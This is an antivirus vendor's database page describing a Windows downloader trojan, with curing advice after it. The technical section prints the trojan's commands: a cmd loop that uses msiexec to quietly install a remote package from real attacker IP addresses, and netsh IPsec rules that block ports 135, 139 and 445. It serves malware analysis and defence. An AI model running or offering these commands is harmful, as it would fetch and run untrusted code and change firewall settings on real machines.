Defend what you create

Other Resources

Close

Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Trojan.DownLoader34.40084

Added to the Dr.Web virus database: 2020-09-14

Virus description added:

Technical Information

To ensure autorun and distribution
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\PolicyAgent] 'Start' = '00000002'
Modifies file system
Creates the following files
  • %WINDIR%\sysupdate.log
  • %WINDIR%\winupdate64.log
Network activity
TCP
HTTP GET requests
  • http://14#.###.27.140:13270/785AD053.moe via 14#.#55.27.140
Miscellaneous
Creates and executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c for /d %i in (145.255.27.140:13270 114.142.145.190:18049 115.231.218.13:11819) do Msiexec /i http://%i/785AD053.moe /Q' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' interface ipv6 install' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add policy name=qianye' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filterlist name=Filter1' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filteraction name=FilteraAtion1 action=block' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' ipsec static set policy name=qianye assign=y' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c for /d %i in (145.255.27.140:13270 114.142.145.190:18049 115.231.218.13:11819) do Msiexec /i http://%i/785AD053.moe /Q
  • '%WINDIR%\syswow64\msiexec.exe' /i http://14#.###.27.140:13270/785AD053.moe /Q
  • '%WINDIR%\syswow64\netsh.exe' interface ipv6 install
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add policy name=qianye
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filterlist name=Filter1
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filteraction name=FilteraAtion1 action=block
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
  • '%WINDIR%\syswow64\netsh.exe' ipsec static set policy name=qianye assign=y
Attempts to shut down the Windows operating system.

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

The Russian developer of Dr.Web anti-viruses
Doctor Web has been developing anti-virus software since 1992
Dr.Web is trusted by users around the world in 200+ countries
The company has delivered an anti-virus as a service since 2007
24/7 tech support

Dr.Web © Doctor Web
2003 — 2020

Doctor Web is the Russian developer of Dr.Web anti-virus software. Dr.Web anti-virus software has been developed since 1992.

2-12А, 3rd street Yamskogo polya, Moscow, Russia, 125124